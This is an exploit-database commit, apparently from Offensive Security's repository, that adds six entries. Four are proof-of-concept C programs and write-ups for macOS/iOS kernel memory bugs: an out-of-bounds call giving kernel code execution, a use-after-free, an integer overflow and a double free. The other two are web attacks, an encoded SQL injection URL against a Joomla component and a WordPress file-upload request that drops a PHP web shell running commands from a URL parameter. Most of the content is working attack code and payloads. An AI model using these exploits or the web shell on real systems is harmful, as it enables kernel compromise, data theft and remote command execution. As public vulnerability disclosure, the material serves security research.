DB: 2017-12-13

6 changes to exploits/shellcodes

Apple XNU Kernel - Memory Corruption due to Integer Overflow in __offsetof Usage in posix_spawn on 32-bit Platforms
macOS/iOS - Multiple Kernel Use-After-Frees due to Incorrect IOKit Object Lifetime Management in IOTimeSyncClockManagerUserClient
macOS - Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig
macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling
Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection
Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload
This commit is contained in:
Offensive Security 2017-12-13 05:02:40 +00:00
parent 9cea53a35b
commit d07aa0ed2a
7 changed files with 531 additions and 0 deletions

View file

@ -0,0 +1,75 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375
AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 8;
//*(uint64_t*)inputStruct = 0x12345678; // crash
*(uint64_t*)inputStruct = 0x37; // oob call
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4096;
err = IOConnectCallMethod(
conn,
0x921, // GetLinkConfig
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
return 0;
}

View file

@ -0,0 +1,143 @@
posix_spawn is a complex syscall which takes a lot of arguments from userspace. The third argument
is a pointer to a further arguments descriptor in userspace with the following structure (on 32-bit):
struct user32__posix_spawn_args_desc {
uint32_t attr_size; /* size of attributes block */
uint32_t attrp; /* pointer to block */
uint32_t file_actions_size; /* size of file actions block */
uint32_t file_actions; /* pointer to block */
uint32_t port_actions_size; /* size of port actions block */
uint32_t port_actions; /* pointer to block */
uint32_t mac_extensions_size;
uint32_t mac_extensions;
uint32_t coal_info_size;
uint32_t coal_info;
uint32_t persona_info_size;
uint32_t persona_info;
}
port_actions then points to another structure in userspace of this type:
struct _posix_spawn_port_actions {
int pspa_alloc;
int pspa_count;
_ps_port_action_t pspa_actions[];
}
and finally _ps_port_action_t looks like this:
struct _ps_port_action {
pspa_t port_type;
exception_mask_t mask;
mach_port_name_t new_port;
exception_behavior_t behavior;
thread_state_flavor_t flavor;
int which;
}
Note that pspa_actions is a zero-sized array. pspa_count is supposed to be the number of entries
in this array.
The following constraints are checked in posix_spawn in kern_exec.c:
if (px_args.port_actions_size != 0) {
/* Limit port_actions to one page of data */
if (px_args.port_actions_size < PS_PORT_ACTIONS_SIZE(1) ||
px_args.port_actions_size > PAGE_SIZE) {
error = EINVAL;
goto bad;
PS_PORT_ACTIONS_SIZE is defined like this:
#define PS_PORT_ACTIONS_SIZE(x) \
__offsetof(struct _posix_spawn_port_actions, pspa_actions[(x)])
if port_actions_size passes this then we reach the following code:
MALLOC(px_spap, _posix_spawn_port_actions_t,
px_args.port_actions_size, M_TEMP, M_WAITOK);
if (px_spap == NULL) {
error = ENOMEM;
goto bad;
}
imgp->ip_px_spa = px_spap;
if ((error = copyin(px_args.port_actions, px_spap,
px_args.port_actions_size)) != 0)
goto bad;
This allocates a kernel heap buffer to hold the port_actions buffer and copies from userspace into it.
The code then attempts to check whether the pspa_count valid is correct:
/* Verify that the action count matches the struct size */
if (PS_PORT_ACTIONS_SIZE(px_spap->pspa_count) != px_args.port_actions_size) {
error = EINVAL;
goto bad;
}
There is an integer overflow here because offsetof is just simple arithmetic. With a carefully chosen
value for pspa_count we can make it very large but when it's passed to the PS_PORT_ACTIONS_SIZE macro
the result is equal to port_actions_size. Nothing bad has happened yet but we can now get pspa_count
to be much larger than it should be.
Later on we reach the following code:
if (px_spap->pspa_count != 0 && is_adaptive) {
portwatch_count = px_spap->pspa_count;
MALLOC(portwatch_ports, ipc_port_t *, (sizeof(ipc_port_t) * portwatch_count), M_TEMP, M_WAITOK | M_ZERO);
} else {
portwatch_ports = NULL;
}
if ((error = exec_handle_port_actions(imgp, &portwatch_present, portwatch_ports)) != 0)
We can cause another integer overflow here, sizeof(ipc_port_t) is 4 (on 32-bit) so with a carefully chosen value of pspa_count
we can cause the integer overflow here and earlier too whilst still passing the checks.
exec_handle_port_actions then uses portwatch ports like this:
for (i = 0; i < pacts->pspa_count; i++) {
act = &pacts->pspa_actions[i];
if (MACH_PORT_VALID(act->new_port)) {
kr = ipc_object_copyin(get_task_ipcspace(current_task()),
act->new_port, MACH_MSG_TYPE_COPY_SEND,
(ipc_object_t *) &port);
...
switch (act->port_type) {
...
case PSPA_IMP_WATCHPORTS:
if (portwatch_ports != NULL && IPC_PORT_VALID(port)) {
*portwatch_present = TRUE;
/* hold on to this till end of spawn */
portwatch_ports[i] = port;
note that pspa_actions was allocated earlier also based on the result of an integer overflow.
This means we can cause an OOB write to portwatch_ports only if we can successfully read suitable valid
values OOB of pspa_actions. That's why this PoC first fills a kalloc.1024 buffer with suitable values before
freeing it and then hoping that it will get reallocated as pspa_actions (but less thatn 1024 bytes will be written)
such that we control what's read OOB and the ipc_object_copyin will succeed.
This seems to be pretty reliable. You can use this to build a nice primitive of a heap overflow with pointers
to ipc_port structures.
I don't believe there are any iOS 11 32-bit iPod/iPhone/iPad/AppleTV devices but the new Apple Watch Series 3
is running essentially the same kernel but has a 32-bit CPU. This PoC is provided as an Apple watch app
and has been tested on Apple Watch Series 3 (Watch3,2) running WatchOS 4.0.1. I also tested on an older 32-bit iOS 9 device.
Apple Watch Series 3 now has its own LTE modem and can be used without an iPhone making it a suitably interesting target for exploitation
by itself.
Note that all the uses of offsetof in those posix_spawn macros are quite wrong, I think you might be able to get
a kernel memory disclosure with one of them also on 64-bit platforms. The fix is to add correct bounds checking.
Please also note that this really shouldn't be attack surface reachable from an app sandbox. The MAC hook in posix_spawn
is very late and there's a *lot* of code which you can hit before it.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43325.zip

View file

@ -0,0 +1,115 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread
// repro: while true; do ./timesync_uaf; done
#if 0
MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
int go = 0;
void* thread_func(void* arg) {
io_object_t conn = (io_object_t)arg;
go = 1;
IOServiceClose(conn);
return 0;
}
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
pthread_t thread;
pthread_create(&thread, NULL, thread_func, (void*)conn);
while(!go){;}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 1;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
printf("%x\n", err);
return 0;
}

View file

@ -0,0 +1,126 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling
SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by
flow_divert_token_set(struct socket *so, struct sockopt *sopt)
in flow_divert.c.
The relevant code is:
error = soopt_getm(sopt, &token);
if (error) {
goto done;
}
error = soopt_mcopyin(sopt, token);
if (error) {
goto done;
}
...
done:
if (token != NULL) {
mbuf_freem(token);
}
soopt_getm allocates an mbuf.
soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:
error = copyin(sopt->sopt_val, mtod(m, char *),
m->m_len);
if (error != 0) {
m_freem(m0);
return (error);
}
This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.
mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.
This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
int main() {
int sock = socket(PF_INET, SOCK_DGRAM, 0);
if (socket < 0) {
printf("failed to create socket\n");
return 0;
}
printf("socket: %d\n", sock);
setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100);
return 0;
}

View file

@ -0,0 +1,28 @@
# # # # #
# Exploit Title: Joomla! Component JBuildozer 1.4.1 - SQL Injection
# Dork: N/A
# Date: 12.12.2017
# Vendor Homepage: http://jbuildozer.com/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/jbuildozer/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=[SQL]
#
# 1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
#
# http://server/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
#
# # # # #

View file

@ -0,0 +1,38 @@
# Exploit Title: Unauthenticated Arbitrary File Upload
# Date: November 12, 2017
# Exploit Author: Colette Chamberland
# Author contact: colette@defiant.com
# Author homepage: https://defiant.com
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
# Version: < 3.2.0
# Tested on: Wordpress 4.x
# CVE : CVE-2017-16949
Description:
Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
the attacker to upload anything they want, bypassing the filters.
PoC:
POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
Host:server
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792
Content-Length: 264
Referer: http://target.com/
Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6;
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------7230359611602921801124357792
Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
Content-Type: text/php
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
-----------------------------7230359611602921801124357792--

View file

@ -5774,6 +5774,10 @@ id,file,description,date,author,type,platform,port
43319,exploits/macos/dos/43319.c,"macOS - 'getrusage' Stack Leak Through struct Padding",2017-12-11,"Google Security Research",dos,macos,
43318,exploits/macos/dos/43318.c,"macOS - 'necp_get_socket_attributes' so_pcb Type Confusion",2017-12-11,"Google Security Research",dos,macos,
43322,exploits/linux/dos/43322.txt,"LibTIFF pal2rgb 4.0.9 - Heap Buffer Overflow",2017-12-11,"Jungun Baek",dos,linux,
43325,exploits/multiple/dos/43325.txt,"Apple XNU Kernel - Memory Corruption due to Integer Overflow in __offsetof Usage in posix_spawn on 32-bit Platforms",2017-12-12,"Google Security Research",dos,multiple,
43326,exploits/multiple/dos/43326.c,"macOS/iOS - Multiple Kernel Use-After-Frees due to Incorrect IOKit Object Lifetime Management in IOTimeSyncClockManagerUserClient",2017-12-12,"Google Security Research",dos,multiple,
43327,exploits/macos/dos/43327.c,"macOS - Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig",2017-12-12,"Google Security Research",dos,macos,
43328,exploits/multiple/dos/43328.c,"macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling",2017-12-12,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -38353,3 +38357,5 @@ id,file,description,date,author,type,platform,port
43314,exploits/php/webapps/43314.html,"Basic Job Site Script 2.0.5 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,
43315,exploits/php/webapps/43315.txt,"Vanguard 1.4 - Arbitrary File Upload",2017-12-11,"Ihsan Sencan",webapps,php,
43316,exploits/php/webapps/43316.txt,"Vanguard 1.4 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,
43323,exploits/php/webapps/43323.txt,"Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection",2017-12-12,"Ihsan Sencan",webapps,php,80
43324,exploits/php/webapps/43324.txt,"Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload",2017-12-12,"Colette Chamberland",webapps,php,80

Can't render this file because it is too large.